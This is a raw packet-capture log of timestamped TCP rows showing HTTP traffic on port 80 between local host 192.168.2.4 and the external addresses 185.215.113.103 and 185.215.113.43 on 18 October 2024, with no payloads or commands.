Oct 18, 2024 15:04:58.408130884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.463828087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.567409039 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:58.567667961 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:58.572596073 CEST	80	50048	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:58.572647095 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:58.572958946 CEST	80	50046	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:58.573003054 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:58.596450090 CEST	50048	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:58.601357937 CEST	80	50048	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:58.619012117 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.624102116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.624118090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.624135017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.624176979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.664774895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.669924974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.669955015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.669972897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.669997931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670012951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670027018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670042992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670058966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670063019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670063019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670063019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670074940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670090914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670110941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670126915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670169115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670182943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670198917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670224905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670224905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670224905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670226097 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670224905 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670254946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670269966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670283079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670300961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670315981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670331955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670598984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670613050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670628071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670639038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670639038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670639038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670639038 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670644999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670661926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670676947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670691967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670706987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670722008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670737028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670753002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670758963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670758963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670758963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670758963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.670768976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670785904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670800924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.670815945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671055079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671070099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671083927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671099901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671106100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671106100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671106100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671106100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671116114 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671122074 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671133995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671149969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671165943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671180010 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671195984 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671211004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671225071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671241045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671246052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671246052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671246052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671246052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671406984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671441078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671456099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671469927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671495914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671511889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671525955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671542883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671557903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671572924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671586990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671593904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671593904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671593904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671593904 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671606064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671623945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671639919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671847105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671866894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671881914 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671916962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671916962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671916962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671916962 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.671983957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.671998978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672013998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672029018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672043085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672058105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672071934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672097921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672112942 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672127008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672132015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672132015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672132015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672132015 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672142982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672158957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672174931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672189951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672204018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672219992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672235012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672243118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672243118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672243118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672250986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672266006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672283888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672298908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672584057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672599077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672612906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672621012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672621012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672621012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672621012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672630072 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672646046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672662973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672677994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672693014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672708035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672730923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672743082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672743082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672743082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672743082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672749996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672775030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672790051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672804117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672821045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672836065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672852993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672868967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672883987 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672889948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672889948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672889948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672889948 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.672899961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672916889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672934055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672950983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672966003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.672985077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673022985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673022985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673022985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673022985 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673384905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673399925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673413992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673429966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673445940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673460960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673477888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673492908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673506975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673527956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673527956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673527956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673527956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673533916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673562050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673576117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673590899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673607111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673621893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673639059 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673655033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673671007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673674107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673674107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673674107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673674107 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673687935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673702955 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673718929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673732996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673748016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673763037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673774004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673774004 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.673779011 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673795938 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.673813105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674321890 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674336910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674352884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674370050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674370050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674370050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674370050 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674381018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674382925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674398899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674413919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674428940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674447060 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674460888 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674477100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674491882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674506903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674521923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674537897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674544096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674544096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674544096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674544096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674552917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674568892 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674586058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674599886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674614906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674631119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674645901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674662113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674671888 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674673080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674673080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674673080 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.674841881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674855947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.674870968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675025940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675040007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675054073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675067902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675085068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675090075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675090075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675090075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675090075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675102949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675118923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675133944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675149918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675173044 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675192118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675205946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675220013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675228119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675228119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675228119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675228119 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675240993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675266981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675282001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675296068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675309896 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675322056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675322056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675322056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675337076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675353050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675370932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675395966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675409079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675409079 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675410986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675426006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675436974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675441980 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675458908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675585032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675585032 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675834894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675849915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675863028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675879002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675894022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675908089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675920010 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675920963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.675935030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675951004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675968885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675982952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.675997019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676012039 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676028013 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676042080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676058054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676059008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676059008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676059961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676059961 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676075935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676318884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676335096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676348925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676362991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676402092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676402092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676402092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676402092 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:58.676450968 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:58.676465988 CEST	80	50042	185.215.113.103	192.168.2.4
